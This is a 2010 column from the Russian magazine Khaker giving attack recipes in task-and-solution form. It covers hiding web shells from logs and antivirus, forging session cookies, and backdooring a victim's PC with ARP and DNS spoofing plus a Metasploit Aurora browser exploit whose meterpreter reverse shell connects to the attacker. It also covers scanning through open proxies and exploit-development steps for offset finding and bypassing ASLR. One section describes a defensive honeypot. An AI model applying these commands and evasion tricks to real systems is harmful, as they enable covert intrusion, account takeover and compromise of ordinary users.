Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 138, ИЮНЬ 2010 г.

Easy Hack

Задача: Спрятать присутствие шелла на веб-сервере

Решение

На недавно прошедшем Hack In The Box 2010 Dubai крутой спец в области ИБ, Laurent Oudot, представил интересную презентацию на тему повышения скрытности при взломе через web. Материалы можешь найти тут – conference.hitb.org/hitbsecconf2010dxb/materials. Ничего чрезвычайно нового и революционного он вроде не рассказал, но приятно обобщил информацию с кучкой подробностей и хитростей, которые теперь можно опробовать на практике. Так что если ты фанатик web-hack'а, то обязательно посмотри ее. Но, с учетом общего интереса к этой тематике, я позволю себе обобщить и выделить основные вкусности.

Для начала рассмотрим проведение самой атаки и исследование скриптов на уязвимости. Конечно, самое скрытное – это узнать максимальную информацию о жертве (заюзав всевидящий Гугл, например), сконфигурить аналогичный сервак и отработать взлом на нем. Минимизировать при этом возможные появления в логах и, если что, знать, где подчистить. В итоге должна получиться почти 100% атака с минимумом лишних действий. Но чаще всего бывает лень это все делать, поэтому можно, например, скрыть реальный вектор атаки в куче ложных атак. А главное, чтобы быть менее заметным в логах, все атаки выполняй методом POST (если, конечно, ситуация позволяет), так как он там отмечается лишь как обращение к странице, без указания параметров, как это происходит с GET-запросом. То есть наши попытки проинжектить какую-нибудь БД будут не столь успешны :).

Далее, как спрятать «общение» с шеллом. Во-первых, добавить бытовой информации, то есть в запросах указывать нормальные значения для User-Agent и Referer, чтобы смешаться с другими записями в логах. Кстати, их, наряду с проксями, желательно систематически менять, чтобы затруднить прослеживание последовательности наших действий. Во-вторых, для передачи команд шеллу и получению ответов от него можно юзать куки, например. Тогда твои обращения к шеллу будут выглядеть как GET-запросы к странице без параметров, раскрывающих его, то есть совсем без палева. В-третьих, кодируем команды и ответы в base64, например, или что-нибудь позлее, чтобы не засекли в момент обмена данными, но это в основном при условии использования на сервере какой-нибудь IDS. В-четвертых, прячем шелл в самых глубоких местах, о коих не раз было рассказано в этой рубрике, не забывая обфускировать его разными методами, дабы спрятаться от антивиреподобного ПО. К тому же желательно спрятать несколько шеллов, причем разных, чтобы и по массовому обращению к одному скрипту не засекли, да и вообще, хорошо это.

В общем, отличная основа, чтобы переписать какой-нибудь классический web-шелл.

Задача: «Вживую» проанализировать pcap-трафик

Решение

Есть целая группа программ, которая работает с «живыми» данными, то есть с потоком данных, приходящим на какой-то сетевой интерфейс. Например, всевозможные снифферы паролей, детекторы ОС, сервисов, определители структуры сетии т.д. Многие из них позволяют подгружать данные из файла лога трафика – pcap, но не все. Как раз в таких случаях нам поможет tcpreplay. Эта программа (точнее набор программ) читает pcap-файл и прогоняет его на сетевом интерфейсе, меняя какие-то значения в пакетах данных, если это необходимо.Взять ее можно с tcpreplay.synfin.net/wiki/Download, но обычно она уже есть в *nix-системах. Для Win есть только кривенький релиз, который можно взять там же.

Приведу простенький пример. Предположим, мы имеем файл test.pcap с трафиком из какой-то подсети, и нужно определить ее структуру:

lanmap –i eth0

Запускаем lanmap на интерфейсе eth0. Эта тулза анализирует трафик прослушиваемой сети и рисует ее структуру в файл lanmap.png. Не самая лучшая, но все же входит в состав BackTrack.

Далее запускаем tcpreplay для «повтора» пакетов из pcap-файла на том же интерфейсе.

tcpreplay --intf1=eth0 test.pcap

В итоге мы получим структуру подсети из pcap-файла. Только проследи, чтобы на eth0 не приходило никаких данных из реально подключенной сети, чтобы не исказить результат. Хотя легче зареплеить на lo. Ну да ладно.

Кроме всего прочего, есть возможности изменения данных pcap-файла. Например, можно изменить IP и MAC-адреса, заголовки пакетов, эмулировать клиент-серверное общение. Можно разогнать поток данных...

Область применения данного ПО конкретно велика, так что о нем при необходимости стоит вспоминать.

Задача: Создать поддельные cookie на основе статистических данных

Решение

Общеизвестно, что для идентификации пользователей веб-сервером очень часто используются куки, поэтому украсть их – благое дело. Пихнув эти куки в наш браузер, мы автоматически аутентифицируемся под нашей жертвой. Но иногда этого не хватает, так как в кукисах может храниться какая-нибудь дополнительная переменная, привязанная ко времени (или еще как-то). К тому же, красть куки не всегда обязательно. Можно их полностью подделать, определив алгоритм формирования переменных и подставив нужные нам значения. В общем, мы заходим несколько раз на атакуемый сервер и смотрим генерируемые куки. Статические, временные поля будут сразу заметны. С динамическими же все чуть сложнее, но не намного. Для понимания их работы нам поможет набор скриптов с open-labs.org/ob-session04.tar.gz (прилагается на диске).

Итак, запускаем:

perl getcookie.pl http://example.com USERID 100 > test1.txt

Где getcookie.pl – скрипт для получения значений из переменной в кукисах; http://example.com – полный путь до страницы на атакуемом веб-сервере; USERID – имя переменной в кукисах, откуда берем значения и файл test1.txt, куда сохраняем их; 100 – количество запросов к серверу для формирования необходимой базы и определения зависимостей.

Далее запускаем скрипт для анализа полученных данных:

perl ob-session.pl < test1.txt

В итоге мы получаем статистические данные об изменяемых и постоянных позициях, наборе символов, возможности перебора и т.д.

На основе этих данных, используя какой-либо fuzzer, мы сможем методом тыка подобрать необходимые значения для кукисов и таким образом аутентифицироваться на сервере.

Кстати, ob-session.pl работает с простыми текстовыми строками, так что можно использовать этот скрипт и для анализа других последовательностей.

Задача: Забэкдорить клиентскую машину

Решение

Здесь под «клиентской машиной» понимается комп обычного юзера. То есть какая-нибудь версия Windows, файервольчик, возможно антивирь – никаких лишних сервисов наружу не торчит, а единственные программы, которыми пользуется юзер – это браузер да, может быть, почтовый клиент. Но все решаемо. Воспользуемся функционалом Metasploit'а.

Первая трудность – достать пользователя. В данной ситуации, если мы находимся «далеко» от пользователя,то мы можем либо с помощью социальной инженерии, либо благодаря уязвимостям сайтов, которые пользователь посещает, заставить зайти его на наш «специально оформленный» сайт. Если же мы находимся в одной сети с ним, то проблема решается проще, ведь мы можем заставить его зайти на наш сервер. В этом нам поможет dns-spoofing. Суть заключается в подделке ответов DNS-сервера. Иными словами, браузер нашей жертвы при путешествиях по сайтам делает запросы к DNS-серверу, чтобы перевести названия посещаемых сайтов в IP-адреса. Мы же перехватываем их и отвечаем с подмененным IP-адресом нашего сервера.

В зависимости от ситуации может потребоватьсяприменение arp-spoofing, чтобы перенаправить трафик через нас, чтобы мы могли «видеть» DNS-запросы. Я писал про arp-spoofing в прошлом номере, потому не буду подробно останавливаться на описании.

arpspoof -i eth0 192.168.0.1,

где 192.168.0.1 – IP шлюза, чей MAC мы подменяем своим.

echo "1" > /proc/sys/net/ipv4/ip_forward

Форвардинг всего приходящего трафика.

Далее DNS-spoofing. В Metasploit’е есть модуль fake dns, как раз для этих целей, ноя воспользуюсь модулем от Digininja, который скачать можно здесь: digininja.org/metasploit/dns_dhcp.php (либо с диска). Главное отличие последнего в том, что поддельные ответы он посылает только для имен, хранящихся в файле dns.txt, остальные пересылаются на реальный DNS. Это позволяет избавиться от некоторых «глюков» и сконцентрировать атаку.

Устанавливаем модуль:

  1. Качаем и разархивируем
  2. Папку dns_mitm кидаем в auxiliary/server в metasploit’e

Папка lib из архива нужна для модуля dhcp_exhaustion, то есть нам не нужна.Заходим в msfconsole.

use auxiliary/server/dns_mitm/dns_mitm
set FILENAME /msf3/modules/auxiliary/server/dns.txt
set REALDNS 192.168.0.1
run -j

Здесь мы подгрузили модуль, указали необходимые переменные среды: путь до файла dns.txt и IP настоящего DNS-сервера и запустили его. Кстати, путь под Windows нужно указывать не полный, а относительно папки с Metaspoit’ом, так как MSF исполняется в Cygwin'e. Иначе говоря, нельзя кинуть файлик на диск C и прописать путь к нему.

Файл dns.txt содержит записи вида:

192.168.0.1 google.ru

где 192.168.0.1 – IP нашего сайта с начинкой, а google.com – сайт, куда юзер попытается зайти, но попадет к нам. Список можно пополнять во время действия модуля, подгружая по мере необходимости. Делается это за счет отправки специального DNS-запроса на наш фейковый сервер. Можно локально, пишем в консоли:

nslookup digininja.reload 192.168.0.101

где 192.168.0.101 – IP поддельного DNS, digininja.reload – «указание» обновить dns.txt (можно поменять в переменной RELOAD в MSF).
Далее. Создаем сайт с начинкой. Эксплойт подбираем под браузер жертвы. Начинка – meterpreter. Тема заезжена, потому кратко. Юзаем Аврору.

use exploit/windows/browser/ms10_002_aurora
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.101
set SRVPORT 80
set URIPATH /
exploit

В общем-то, все. При попытке жертвы зайти на google.ru, она попадет к нам и… шелл получен.

Задача: Задетектить использование Google-хаков и сканирование директорий веб-сервера

Решение

Google (и аналогичные поисковики) имеют гигантские базы проиндексированных, закэшированных страниц, очень часто хранящих важную с точки зрения безопасности информацию. С помощью специальных запросов можно достаточно просто выискать сервера с уязвимым ПО. Потому хакеры очень часто прибегают к гуглохакам и сканерам для выявления слабых мест в защите сервера.

Для того, чтобы определить такие действия, можно создать хонипот. На ghh.sourceforge.net можно скачать хонипоты, заточенные под гуглохаки, плюс почерпнуть информацию по этой теме. Итак, для хонника, выложенного на диске:

  1. Разархивируем хонипот;
  2. Файл config.php и файл логов кидаем в папку, недоступную для просмотра, то есть не в htdocs (для Apache);
  3. Остальные файлы, кроме readme.txt, кидаем куда-нибудь в htdocs;
  4. В config.php указываешь путь до файла логов и тип логов;
  5. Отключаем RegisterGlobals в php.ini, если оно вообще нужно;
  6. На какой-нибудь из страниц нашего сайта делаем скрытую для глаза ссылку, например, так: <a href=http://example.com/honeypot.php>.</a>, и указав цвет точки под цвет фона сайта;
  7. В index.php нашего пота указываем путь до config.php и адрес страницы, откуда идет ссылка на наш хонник.

Все. После этого ждем пока поисковики проиндексируют наш хонипот.

Обо всех заходах на хонипот, будь то поисковый паук, сканер или какой-нибудь человек, ты сможешь узнать из файла логов. Конечно, вычислить человека ты вряд ли сможешь, но выделить хотя бы какую-то информацию для того, чтобы покопаться потом в логах апача и понять общее развитие атаки – это можно.

Кроме обычных текстовых логов, можно использовать MySQL или XMLRPC, что явно повышает возможности по реагированию.

Кстати, если есть желание повысить свой уровень юзания Гугла для поиска либо уязвимых сайтов, либо другой информации, то можешь заглянуть на hackersforcharity.org/ghdb/. Здесь содержится самая большая база для поиска ПО, стандартных ошибок и т.д. Почерпнуть опыта также можно, найдя книжку «Google Hacking for Penetration Testers by Johnny Long».

Задача: Анонимно сграбить заголовки сервисов на сервере

Решение

Способов масса, но есть один – грубоватый, но забавный. Для нашей цели можно воспользоваться плохо настроенными анонимайзерами. Фишка в том, что php’шные glype-проксики позволяют при определенных условиях коннектиться к любым портам серверов и, к тому же, возвращать заголовки ответов сервисов. Все, что нам требуется, это указать номер порта после имени сервера вида example.com:22, где 22 – номер порта. И, если порт закрыт, нам покажут ошибку «couldn't connect to host», а если открыт, то заголовок сервиса. Для примера, можно побаловаться на www2.de.com/index.php.

В «промышленных масштабах» технология, вероятно, не самая лучшая, но в ограниченных условиях – очень даже. Более того, есть даже концепт-скрипт для автоматизации сканирования, который и на диске есть, и скачать можно с sensepost.co.za/labs/tools/pentest/glype. К тому же, количество общедоступных glype-анонимазиров очень велико, даже пунктик есть в GHDB.

Задача: Упростить процесс написания эксплойтов/шеллкодов

Решение

В последних номерах Х публиковалось много материала о написании эксплойтов. Примеры приводились в основном в Olly Debugger’еи большая часть действий производилась вручную. Как ни странно, существуют более заточенные вещи с учетом специфики эксплойтописания. Для начала – Immunity Debugger. Это, в хорошем смысле, клон Ollydbg версии 1.10. Из основного – приделанная поддержка Python’a для написания дополнений, коих создано уже очень много. Последняя рабочая версия – 1.73 выложена на диске (с 1.74 что-то не срослось из-за количества глюков в ней). Кстати, программа вряд ли будет нормально работать, если установить ее или Python в какое-нибудь нестандартное место. Теперь к главному. Широкоизвестный в узких кругах Peter Van Eeckhoutte aka corelanc0d3r выпустил отличный плагин к ImmunityDbg – pvefindaddr.

Сам проект достаточно быстро развивается, так что лучше скачать последнюю версию с http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/. На диске выложена версия 1.32. Для установки дополнения требуется:

  1. Скачать pvefindaddr.py;
  2. В папке ImmunityDbg’ра кинуть его PyCommands;

Проверить работоспособность можно через командную строку ImmunityDbg. Вводим !pvefindaddr, и в окне (L)og’a появится описание плагина.

Плагин содержит в себе очень много всяких фишек, которые помогают в эксплойтописании и избавляют от рутинных дел. Приведу несколько примеров.

Находим джампы на регистры:

!pvefindaddr j esp user32.dll

В результате плагин покажет нам в логе все jmp, call, push+ret и т.д. для указателя на вершину стэка для библиотеки user32.dll и сохранит итог в j.txt.

Поиск offset'овпри переполнении буфера. Для примера возьмем статью Алексея Синцова «Глумимся над объектами ActiveX» из апрельского номера Х. Используем плагин вместо написания скрипта в ComRaider'е.

Создаем паттерн в стиле Metasploit’а.

!pvefindaddr pattern_create 500

Копируем его в аргумент в скрипте запуска уязвимой функции SubmintToExpress

arg1="Aa0Aa1A…Aq3Aq4Aq5Aq "

Запускаем скрипт в дебаггере. Смотрим ESI – 37694136, SEH – 6B41316B. Пишем:

!pvefindaddr pattern_offset 37694136 500
!pvefindaddr pattern_offset 6B41316B 500

ESI начинается с 260 байта, SEH с 304.

Ищем модули для обхода ASLR и DEP’a:

!pvefindaddr noaslr

Плагин выведет списокdll’ок, к которым можно привязаться, так как они скомпилированы без поддержки рандомизации адресного пространства.

Как видишь, вещь – стоящая, так что обязательно приглядись к ней получше.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001